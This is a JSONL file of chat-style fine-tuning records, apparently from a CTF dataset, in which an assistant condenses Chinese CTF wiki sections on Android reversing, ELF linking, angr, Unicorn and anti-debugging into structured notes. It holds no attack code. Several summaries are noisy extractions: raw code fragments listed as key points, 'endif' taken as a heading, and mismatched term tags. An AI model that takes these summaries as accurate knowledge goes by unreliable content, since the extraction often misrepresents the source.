{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-04f6646399dd91f39c00", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2015-0CTF-vezel > 分析\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- } catch(Exception v0) { v0.printStackTrace();\n- 第二部分我们可以直接将dex文件提取出来，利用网上的工具计算一下。\n- } `` 可以看出我们想要的flag的分为两个部分 - String.valueOf(this.getSig(this.getPackageName())) - this.getCrc() 其中第一部分，我们可以采用自己编写一个app来获取对应的值。\n- } else { Toast.makeText(((Context)this), \"0ops!\n- try { v1 = String.valueOf(new ZipFile(this.getApplicationContext().getPackageCodePath()).getEntry( \"classes.dex\").getCrc());\n\n关键术语：\n- 栈\n- Android逆向\n- 漏洞利用\n- android\n- basic-reverse\n- static\n- java-example.md\n\n代码/命令片段线索：\n- plain: 32 行，首行 `public void confirm(View v) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 959, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "reverse", "heading": "分析", "heading_path": ["静态分析 java 层例子", "2015-0CTF-vezel", "分析"], "original_id": "docs-9498a6ae0ccdf970400e", "original_line": 95, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "e64df05a3301998b2094996f", "subcategory": "android/basic_reverse/static", "terms": ["栈", "Android逆向", "漏洞利用", "android", "basic-reverse", "static", "java-example.md"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-05720607ca9a56d2ca64", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/complex-example.md` 中的章节「2018 强网杯 picture lock」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/complex-example.md`\n标题：静态分析综合题目\n章节：静态分析综合题目 > 2018 强网杯 picture lock\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 强网杯 picture lock”展开。\n- 下面我们就可以分析 native 层代码，由于程序很明显说是一个加密程序，我们可以使用IDA 的 findcrypto 插件来进行识别，结果却是发现了 S 盒，而且基本上就是符合 AES 的加密流程的，所以可以基本确定程序的主体是一个 AES 加密，经过细致分析可以发现 native 层程序的基本流程如下 1. 将传入的签名的 md5 字符串分为两半，生成两组密钥。\n- .0. ] ] ➜ picturelock md5value=F8:C4:90:56:E4:CC:F9:A1:1E:09:0E:AF:47:1F:41:8D ➜ picturelock echo $md5value | sed 's/://g' | tr '[:upper:]' '[:lower:]' f8c49056e4ccf9a11e090eaf471f418d ` 继而，我们可以直接使用已有的 AES 库来进行解密 `python #!\n- 简单分析之后发现这是一个图片加密程序：java 层为 native 层传入 image/ 下的第一个文件名，以及希望加密后的图片文件名，包括对应的 apk 的签名的 md5。\n- 2. 每次读入md5sig[i%32]大小的内容 3. 根据读入的大小决定使用哪一组密钥 1. 奇数使用第二组密钥 2. 偶数使用第一组密钥 4. 如果读入的大小不够 16 的话，就将后面填充为不够的大小（比如大小为12时，填充 4 个0x4） 5. 这时修改后的内容必然够16个字节，对前16个字节进行 AES 加密。\n- 对于后面的字节，将其与 md5sig[i%32]依次进行异或。\n\n关键术语：\n- Android逆向\n- 密码学\n- 漏洞利用\n- android\n- basic-reverse\n- static\n- complex-example.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 25 行，首行 `➜ picturelock keytool -list -printcert -jarfile picturelock.apk`\n- python: 32 行，首行 `#!/usr/bin/env python`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 2319, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "2018 强网杯 picture lock", "heading_path": ["静态分析综合题目", "2018 强网杯 picture lock"], "original_id": "docs-6f508b316a415e6077db", "original_line": 88, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/complex-example.md", "source_root": "docs", "source_sha256": "d2464a5ec5d39f04d8b188015b88c0db9cd8467f77ba3efe654378e82fecc36f", "split": "train", "split_group_key": "8b1d66a0cad03e71bb6bcc82", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "密码学", "漏洞利用", "android", "basic-reverse", "static", "complex-example.md", "code:shell", "code:python"], "title": "静态分析综合题目"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/complex-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-058ac0ccf842aface149", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/dynamic-sections.md` 中的章节「.rel(a).dyn & .rel(a).plt」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/dynamic-sections.md`\n标题：Dynamic Sections\n章节：Dynamic Sections > .rel(a).dyn & .rel(a).plt\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“.rel(a).dyn & .rel(a).plt”展开。\n- .rel.dyn 包含了动态链接的二进制文件中需要重定位的变量的信息，而 .rel.plt 包含了需要重定位的函数的信息。\n- 其中，每个字段的说明如下 | 成员 | 说明 | | -------- | ------------------------------------------------------------ | | r_offset | 此成员给出了需要重定位的位置。\n- 对于一个可重定位文件而言，此值是从需要重定位的符号所在节区头部开始到将被重定位的位置之间的字节偏移。\n- 对于可执行文件或者共享目标文件而言，其取值是需要重定位的虚拟地址，一般而言，也就是说我们所说的 GOT 表的地址。\n- | | r_info | 此成员给出需要重定位的符号的符号表索引，以及相应的重定位类型。\n\n关键术语：\n- executable\n- elf\n- structure\n- dynamic-sections.md\n- code:c\n\n代码/命令片段线索：\n- plain: 9 行，首行 `typedef struct {`\n- c: 4 行，首行 `#define ELF32_R_SYM(i) ((i)>>8)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 3032, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": ".rel(a).dyn & .rel(a).plt", "heading_path": ["Dynamic Sections", ".rel(a).dyn & .rel(a).plt"], "original_id": "docs-e89d702183f3979b9f98", "original_line": 477, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "source_root": "docs", "source_sha256": "c293a7a3833b5bc0c2bb5e2fdd32acdf739452a114134eba71693dd5b6a01f8b", "split": "train", "split_group_key": "29627947b26f4b091dd1f6a4", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "dynamic-sections.md", "code:c"], "title": "Dynamic Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-06d735b55def92472765", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「状态求解」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Claripy > state - 模拟执行状态 > 状态求解\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“状态求解”展开。\n- 前面讲到 state.solver 提供了一些基于状态的求解接口，例如 solver 同样有创建位向量的 .BVV() 与 .BVS() 接口。\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n\n代码/命令片段线索：\n- python: 7 行，首行 `bvs_to_solve = claripy.BVS('bvs_to_solve', 64)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 503, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "状态求解", "heading_path": ["angr", "基本用法", "Claripy", "state - 模拟执行状态", "状态求解"], "original_id": "docs-d6bd58df76de9e8093f4", "original_line": 1565, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "1674816f8569d864f854383b", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "angr.md", "code:python"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-0914fc75e182f9175f4a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/unicorn.md` 中的章节「什么是Unicorn引擎」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/unicorn.md`\n标题：Unicorn Engine\n章节：Unicorn Engine > 什么是Unicorn引擎\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“什么是Unicorn引擎”展开。\n- Github项目主页: unicorn 尽管它不同寻常, 但它无法模拟整个程序或系统, 也不支持系统调用. 你需要手动映射内存并写入数据进去, 随后你才能从指定地址开始模拟.\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- unicorn.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 651, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "什么是Unicorn引擎", "heading_path": ["Unicorn Engine", "什么是Unicorn引擎"], "original_id": "docs-7aa9370fa5901766dea5", "original_line": 1572, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/unicorn.md", "source_root": "docs", "source_sha256": "712f67f78fd5fe934747369e028d14a97c9d16cbe2949353ea3af2e3a6446994", "split": "train", "split_group_key": "a49ec8d824e01b4f599d6ca2", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "unicorn.md"], "title": "Unicorn Engine"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/unicorn.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-09ca3787008e17e0d49c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「endif」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：endif\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“endif”展开。\n- Preserve registers otherwise clobbered. movq %rax, REGISTER_SAVE_RAX(%rsp) movq %rcx, REGISTER_SAVE_RCX(%rsp) movq %rdx, REGISTER_SAVE_RDX(%rsp) movq %rsi, REGISTER_SAVE_RSI(%rsp) movq %rdi, REGISTER_SAVE_RDI(%rsp) movq %r8, REGISTER_SAVE_R8(%rsp) movq %r9,...\n\n关键术语：\n- executable\n- elf\n- linking\n- symbol-resolve.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 289, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "endif", "heading_path": ["endif"], "original_id": "docs-e2795c01b3f3065d0d56", "original_line": 449, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "7a75c3e130e2d84caff7dee7", "subcategory": "executable/elf/linking", "terms": ["executable", "elf", "linking", "symbol-resolve.md"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-0a6329f94947c1ee6e30", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「block - 基本块」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Project > factory - 实用类工厂 > block - 基本块\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“block - 基本块”展开。\n- angr 以基本块为单位分析代码，我们可以通过 project.factory.block(address) 获取给定地址所在的基本块——一个 Block 类实例：\n- ``python >>> block = proj.factory.block(proj.entry) # extract the basic block >>> block.pp() # pretty-print of disassemble code of the block _start: 401060 endbr64 401064 xor ebp, ebp 401066 mov r9, rdx 401069 pop rsi 40106a mov rdx, rsp 40106d and rsp, 0xf...\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n\n代码/命令片段线索：\n- python: 19 行，首行 `>>> block = proj.factory.block(proj.entry) # extract the basic block`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 743, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "block - 基本块", "heading_path": ["angr", "基本用法", "Project", "factory - 实用类工厂", "block - 基本块"], "original_id": "docs-06c0fb671a0ba28ece60", "original_line": 1561, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "854d47e67a2f671bf75597ba", "subcategory": "reverse/tools/simulate-execution", "terms": ["AI安全", "reverse", "tools", "simulate-execution", "angr.md", "code:python"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-0e0030345ba53373f483", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「基本结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：Smali > 基本结构\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本结构”展开。\n- 一个 Smali 文件的基本信息如下： - 基本类信息 - 前三行描述转换为该 Smali 文件的类的信息 - 如果类实现了接口，对应的接口信息 - 如果类使用了注解，对应的注解信息 - 字段描述 - 方法描述 比较有意思的是，Smali 代码基本上还原了 java 代码中含义。\n- 整体来说，Smali 代码的可读性还是比较强的。\n- 它主要有以下两种类型的语句 - 声明语句用来声明 java 中自顶向下的类，方法，变量类型，以及每个方法中所要使用的寄存器的个数等信息。\n- 执行语句来执行 java 中的每一行代码，包含方法的调用，字段的读写，异常的捕捉等操作。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 286, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "基本结构", "heading_path": ["Smali", "基本结构"], "original_id": "docs-a07ba9aa4d7565664d32", "original_line": 39, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "563d635def92b0ee9f8c9961", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-0ef9274cd0b68914d01c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「endif」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：endif\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“endif”展开。\n- Copy args pushed by PLT in register. # %rdi: link_map, %rsi: reloc_index mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP call _dl_fixup # Call resolver. mov %RAX_LP, %R11_LP # Save return value # Get register content back.\n\n关键术语：\n- executable\n- elf\n- linking\n- symbol-resolve.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 266, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "endif", "heading_path": ["endif"], "original_id": "docs-1e486682f92835410263", "original_line": 451, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "7a75c3e130e2d84caff7dee7", "subcategory": "executable/elf/linking", "terms": ["executable", "elf", "linking", "symbol-resolve.md"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-0fdfd425f0aacfe55449", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/dex/dex.md` 中的章节「proto Id」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/dex/dex.md`\n标题：DEX文件\n章节：DEX文件 > DEX 文件格式 > DEX 索引区 > proto Id\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“proto Id”展开。\n- 其主要包含以下三个数据结构 ``c++ struct DexProtoId { u4 shortyIdx;\n- Proto id字段主要是针对于 java 中的方法原型而设计的，这里面主要包含了一个方法声明的返回类型与参数列表，对于方法名尚未涉及。\n- / 返回类型+参数类型，简写，指向DexStringId列表的索引 / u4 returnTypeIdx;\n- / 返回类型，指向DexTypeId列表的索引 / u4 parametersOff;\n- / 参数类型，指向DexTypeList的偏移 / } struct DexTypeList { u4 size;\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- dex\n- code:c++\n\n代码/命令片段线索：\n- c++: 12 行，首行 `struct DexProtoId {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 445, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "proto Id", "heading_path": ["DEX文件", "DEX 文件格式", "DEX 索引区", "proto Id"], "original_id": "docs-ed0f1077241d071e8750", "original_line": 32, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "source_root": "docs", "source_sha256": "02e4e7a9ad1994a3eb6f19cb46b69151a53fab27ed230dc7be1d864947ae6323", "split": "train", "split_group_key": "c09630992eda5bcad8bbf06b", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "dex", "code:c++"], "title": "DEX文件"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-100cbb4c1f0a501fb289", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntglobalflag.md` 中的章节「参考链接」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntglobalflag.md`\n标题：NtGlobalFlag\n章节：NtGlobalFlag > 参考链接\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考链接”展开。\n- The \"Ultimate\" Anti-Debugging Reference PEB-Process-Environment-Block/NtGlobalFlag\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 256, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "参考链接", "heading_path": ["NtGlobalFlag", "参考链接"], "original_id": "docs-2bb7e89717bf81ada2ac", "original_line": 1527, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "source_root": "docs", "source_sha256": "ec56247871fb9435305e4c8b2388abac89e4886e3581a55b8ee83db9de62d5a7", "split": "train", "split_group_key": "38d74b6d3a7e4b5d52c3f0b0", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "NtGlobalFlag"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-106aa60b5e4ce8e93f77", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/running-overview.md` 中的章节「load_elf_binary」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/running-overview.md`\n标题：程序执行流程\n章节：程序执行流程 > 基本操作说明 > load_elf_binary\n路径分类：executable / executable/elf/running-overview.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“load_elf_binary”展开。\n- program header中有以下重要信息 - 每一个段需要映射到的地址 - 每一个段相应的权限。\n- 具体的映射如下 [图片文件: ./figure/memory_mapping.png] 分情况处理 - 动态链接情况下，将sys_execve的返回地址改为loader(ld.so)的entry point。\n- 该函数的主要处理流程如下 - 检查并获取elf文件的头部信息。\n- 如果目标文件采用动态链接，则使用.interp 节来确定loader的路径。\n- 将program header 中记录的相应的段映射到内存中。\n\n关键术语：\n- executable\n- elf\n- running-overview.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 327, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "load_elf_binary", "heading_path": ["程序执行流程", "基本操作说明", "load_elf_binary"], "original_id": "docs-2b28e002e008006aee63", "original_line": 443, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/running-overview.md", "source_root": "docs", "source_sha256": "2dfb36d34c5ca6c9af155b02935b028af91a99c980b602f65b9d71f0768f521b", "split": "train", "split_group_key": "02a4df3164887df61d4f3e9e", "subcategory": "executable/elf/running-overview.md", "terms": ["executable", "elf", "running-overview.md"], "title": "程序执行流程"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/running-overview.md", "split": "train", "type": "ctf_lora_sft"}
